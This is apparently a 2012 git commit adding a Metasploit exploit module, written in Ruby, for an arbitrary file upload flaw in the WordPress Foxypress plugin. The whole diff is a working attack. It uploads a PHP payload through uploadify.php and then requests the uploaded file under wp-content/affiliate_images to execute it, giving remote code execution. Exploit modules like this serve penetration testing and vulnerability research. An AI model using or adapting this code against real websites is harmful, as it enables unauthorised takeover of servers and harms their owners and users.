php_wordpress_foxypress from patrick updated. Related to Pull Request #475

2012-06-12 17:39:05 +02:00 · 2012-06-12 17:39:05 +02:00 · 4ae786590a
parent 3902ed431e
commit 4ae786590a
1 changed files with 109 additions and 0 deletions
--- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb
+++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb
@ -0,0 +1,109 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
+			'Description'    => %q{
+					This module exploits an arbitrary PHP code execution flaw in the WordPress
+				blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
+				file upload and remote code execution via the uploadify.php script. The Foxypress
+				plug-in versions 0.4.2.1 and below are vulnerable.
+			},
+			'Author'         =>
+				[
+					'Sammy FORGIT', # Vulnerability Discovery, PoC
+					'patrick' # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					['EDB', '18991'],
+					['OSVDB', '82652'],
+					['BID', '53805'],
+				],
+			'Privileged'     => false,
+			'Payload'        =>
+				{
+					'Compat'      =>
+						{
+							'ConnectionType' => 'find',
+						},
+				},
+			'Platform'       => 'php',
+			'Arch'           => ARCH_PHP,
+			'Targets'        => [[ 'Automatic', { }]],
+			'DisclosureDate' => 'Jun 05 2012',
+			'DefaultTarget' => 0))
+
+		register_options(
+			[
+				OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
+			], self.class)
+	end
+
+	def check
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php"
+		})
+
+		if res and res.code == 200
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def exploit
+
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+
+		post_data = Rex::MIME::Message.new
+		post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{rand_text_alphanumeric(6)}.php\"")
+
+		print_status("#{peer} - Sending PHP payload")
+
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php",
+			'ctype'  => 'multipart/form-data; boundary=' + post_data.bound,
+			'data'   => post_data.to_s
+		})
+
+		if not res or res.code != 200 or res.body !~ /\{\"raw_file_name\"\:\"(\w+)\"\,/
+			print_error("#{peer} - File wasn't uploaded, aborting!")
+			return
+		end
+
+		print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...")
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}wp-content/affiliate_images/#{$1}.php"
+		})
+
+		if res and res.code != 200
+			print_error("#{peer} - Server returned #{res.code.to_s}")
+		end
+
+	end
+
+end